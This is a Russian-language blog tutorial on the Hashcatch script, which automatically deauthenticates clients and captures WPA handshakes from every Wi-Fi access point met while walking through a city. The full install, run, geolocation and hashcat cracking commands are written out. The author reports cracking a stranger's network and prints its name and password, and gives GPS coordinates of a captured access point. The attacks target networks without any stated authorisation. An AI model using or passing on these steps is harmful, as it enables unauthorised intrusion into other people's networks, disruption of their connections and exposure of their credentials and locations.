Автоматический сбор хешей точек доступа для взлома Wi-Fi

Программы для автоматического захвата хендшейков Wi-Fi

Для автоматического сбора рукопожатий (handshake) от точек доступа Wi-Fi уже имеется несколько вариантов, к примеру:

  • Besside-ng — отлично работает, сохраняет файл только с хорошими рукопожатиями, подходящими для подбора паролей. Недостаток: сканирует сети один раз и, в случае появления новых сетей Wi-Fi в диапазоне доступности, не видит их. То есть при перемещении по городу данная программа неэффективна.
  • zizzania — такой же главный недостаток, при появлении новых Точек Доступа, скорее всего, не видит их. Эффективность по захвату, субъективно, не всегда самая лучшая.

Скрипт Hashcatch время от времени повторно ищет новые сети и также выполняет в отношении их атаку деаутентификация, чтобы захватить рукопожатия. То есть если вы хотите получить handshake в автоматическом режиме, то этот скрипт можно запустить, упрощённо говоря, не находясь перед этой ТД, а при выходе из дома. То есть программа будет пытаться захватить рукопожатия ото всех Точек Доступа, которые встретятся по всему пути вашего маршрута. Понятно, что двигаться нужно достаточно медленно, останавливаясь перед возможными местами скопления Wi-Fi сетей.

Как установить Hashcatch в Kali Linux

Установка зависимостей:

sudo apt install hcxtools jq

Создание необходимых папок и файлов для программы:

sudo mkdir -p /usr/share/hashcatch/handshakes/ /etc/hashcatch/
sudo touch /usr/share/hashcatch/db

Скачивание скрипта:

git clone https://github.com/staz0t/hashcatch
cd hashcatch/

Теперь нужно сгенерировать конфигурационный файл, для этого запустите команду:

sudo ./hashcatch --setup

Скрипт спросит у вас имя беспроводного интерфейса, если вы его не помните, то используйте команду:

iw dev

В дальнейшем если понадобиться выбрать другой беспроводной интерфейс для использования, то вновь запустите команду:

sudo ./hashcatch --setup

Либо просто откройте любым текстовым редактором файл /etc/hashcatch/hashcatch.conf и впишите нужное имя.

Кстати, при работе программа сохраняет захваченный рукопожатия в папку /usr/share/hashcatch/handshakes/, а информацию о ТД, для которых удалось поймать handshake, записывает в файл /usr/share/hashcatch/db. Эти значения прописаны в исходном коде программы:

При желании вы можете отредактировать их под более удобные расположения:

gedit hashcatch

Для этого замените значения этих переменных:

f_config="/etc/hashcatch/hashcatch.conf"
f_db="/usr/share/hashcatch/db"
d_handshakes="/usr/share/hashcatch/handshakes/"

Если у вас только один Wi-Fi интерфейс, то рекомендуется закрыть программы, которые могут оказывать на него влияние:

sudo systemctl stop NetworkManager
sudo airmon-ng check kill

Если интерфейс в состоянии down, переводим его в up (замените wlan0 на ваш интерфейс)

sudo ip link set wlan0 up

Непрерывный захват рукопожатий Wi-Fi

Запуск программы элементарный:

sudo ./hashcatch

Программа Hashcatch немного необычно переводит интерфейс в режим монитора, а именно следующим образом:

sudo aireplay-ng --test ИНТЕРФЕЙС

Эта команда действительно включает monitor, но также выполняет проверку, поддерживает ли Wi-Fi карта беспроводную инъекцию. Если проверка завершилась неудачей, то Hashcatch завершит работу и напишет, что не удалось перевести в режим монитора. Поэтому каждый запуск Hashcatch требует некоторого времени и, если не получилось с первого раза, имеет смысл попытаться запустить ещё несколько раз.

Сразу после этого она начнёт искать сети, затем даутентифицировать клиентов этих сетей и будет пытаться захватить рукопожатия.

Программа будет работать непрерывно, пока не нажмёте CTRL+c. Во время работы, а также после завершения, будет написано, сколько именно хешей удалось захватить:

[*] Handshakes captured this session: 1

Как определить расположение Точки Доступа Wi-Fi по MAC-адресу

Точки доступа, для которых захвачены рукопожатия, Hashcatch записывает в файл /usr/share/hashcatch/db, чтобы посмотреть содержимое этого файла:

cat /usr/share/hashcatch/db

Структура записей:

MAC_адрес,ИМЯ_ТД,ШИРОТА,ДОЛГОТА,ТОЧНОСТЬ,ВРЕМЯ

Пример записи:

C8:38:70:AD:BB:48,AndroidAP,55.96663351105,37.41517074071,29.982,1567406604

Значения отделены друг от друга запятыми. По широте и долготе можно искать в картах Google: https://www.google.com/maps/, достаточно ввести эти две цифры, например:

55.96663351105,37.41517074071

Кстати, можете напрямую обращаться к адресу вида: https://www.google.com/maps/place/ШИРОТА,ДОЛГОТА, например https://www.google.com/maps/place/55.96663351105,37.41517074071

Имеется много сервисов геолокации по Wi-Fi, в Hashcatch используется сервис от Alexander Mylnikov. В предоставляемых API не требуется ключ, достаточно просто указать BSSID (MAC-адрес) интересующей Точки Доступа и открыть ссылку вида https://api.mylnikov.org/geolocation/wifi?v=1.2&bssid=BSSID, например, https://api.mylnikov.org/geolocation/wifi?v=1.2&bssid=C8:38:70:AD:BB:48.


Добавление Wi-Fi сетей в список исключений

Если вы уже захватили рукопожатия для некоторых беспроводных сетей, то имеет смысл добавить их в исключения. Ещё один пример использования исключений: я запустил Hashcatch, положил ноутбук в рюкзак и пошёл прогуляться, посмотреть, сколько удастся собрать рукопожатий. Чтобы компьютер был постоянно подключён к интернету, я на мобильном телефоне создал Wi-Fi хот-спот и подключился к нему с ноутбука второй (встроенной) Wi-Fi картой. Это мне нужно было для того, чтобы Hashcatch не только сохраняла рукопожатия, но и получала для них координаты.

Чтобы не атаковать некоторые ТД, откройте конфигурационный файл /etc/hashcatch/hashcatch.conf:

gedit /etc/hashcatch/hashcatch.conf

И добавьте туда директиву ignore и перечислите ТД которые не нужно атаковать. Например, у меня это AndroidAP:

interface=wlp0s20f0u4
ignore=AndroidAP

Если хотите исключить несколько ТД, то перечислите их через запятую. Ничего страшного, если названия ТД содержат пробелы, но пробелов не должно быть рядом со знаком равно (=) и между запятыми, например:

interface=wlan0
ignore=Google Starbucks,AndroidAP

Кстати, чтобы компьютер не выключился через некоторое «время простоя», и вообще не выключился сразу после того, как закроете крышку ноутбука, нужно правильно установить настройки электропитания. Информацию об этом смотрите в статьях:

Анализ захваченных рукопожатий

Посмотреть список рукопожатий можно командой:

ls -l /usr/share/hashcatch/handshakes/

Каждое рукопожатие размещено в отдельном файле.

Для их проверки можно запустить такую команду:

sudo aircrack-ng /usr/share/hashcatch/handshakes/*

Взлом Wi-Fi хешей

Подбирать пароль для захваченных хешей можно разными программами, самая быстра из них это Hashcat.

Для запуска взлома хеша Wi-Fi по словарю используется команда вида:

hashcat -m 2500 '/usr/share/hashcatch/handshakes/ХЕШ.hccapx' СЛОВАРЬ.txt

Для взлома по маске используется команда вида:

hashcat -m 2500 -a 3 '/usr/share/hashcatch/handshakes/ХЕШ.hccapx' МАСКА

Например, следующей командой я запустил атаку в отношении хеша 14:9D:09:CF:F5:08.hccapx используя маску 6?d?d?d?d?d?d?d?d. Эта маска означает 9 символов, первым из которых является цифра 6, а остальными могут быть любые цифры — это характерные номера телефонов для мест, где захвачено рукопожатие:

hashcat -m 2500 -a 3 --hwmon-temp-abort=100 '/usr/share/hashcatch/handshakes/14:9D:09:CF:F5:08.hccapx' 6?d?d?d?d?d?d?d?d

Взлом завершился удачно, найденный пароль Wi-Fi находится в строке:

8053b8ba46189df8b8e916053ca7bbff:149d09cff508:6cab317133a5:3BB-SAYJAI:670323273

3BB-SAYJAI — это название Точки Доступа, а 670323273 это пароль от неё.

Дополнительно смотрите материалы:

Решение проблем

Ошибка:

[-] Could not set wireless adapter to monitor mode. Run with --setup and try again!

Означает, что нужно запустить программу с ключом --setup и затем указать имя Wi-Fi интерфейса.

Ошибка:

[-] Could not set the given wireless adapter to monitor mode!

Означает, что у программы не получается: 1) перевести интерфейс в режим монитора; или 2) успешно выполнить тест на беспроводную инъекцию. Если ваш адаптер поддерживает и монитор, и беспроводную инъекцию, то попробуйте выполнить запуску ещё раз.

Ошибка:

[-] Interface not mentioned in config file. Run with --setup and try again!

Означает, что: 1) в конфигурационном файле не указан Wi-Fi интерфейс, или 2) указанная там Wi-Fi карта не подключена в данный момент к компьютеру. Следовательно, подключите беспроводной адаптер или запустите программу с ключом --setup, чтобы указать имя другого интерфейса.

Обратите внимание, что в BlackArch, где программа устанавливается из стандартного репозитория, при каждом обновлении программы удаляются все ранее захваченные рукопожатия, удаляется файл /usr/share/hashcatch/db и стирается конфигурационный файл!

Заключение

В целом скрипт довольно простой, но и задача по захвату рукопожатий довольно простая, поэтому он с ней справляется. Особенно мне нравится то, что каждое захваченное рукопожатие сохраняется в отдельный файл — это очень удобно, можно сразу перейти к подбору паролей.

В одной из следующих статей я расскажу о ещё одной отличной программе для автоматического захвата рукопожатий при постоянном мониторинге появления новых Wi-Fi сетей с добавлением их для атаки. К тому же, та программа дополнительно захватывает автоматически ещё и PMKID! Статья готова: Автоматический захват рукопожатий и PMKID от всех точек доступа.

Рекомендуется Вам:

Добавить комментарий

Ваш e-mail не будет опубликован.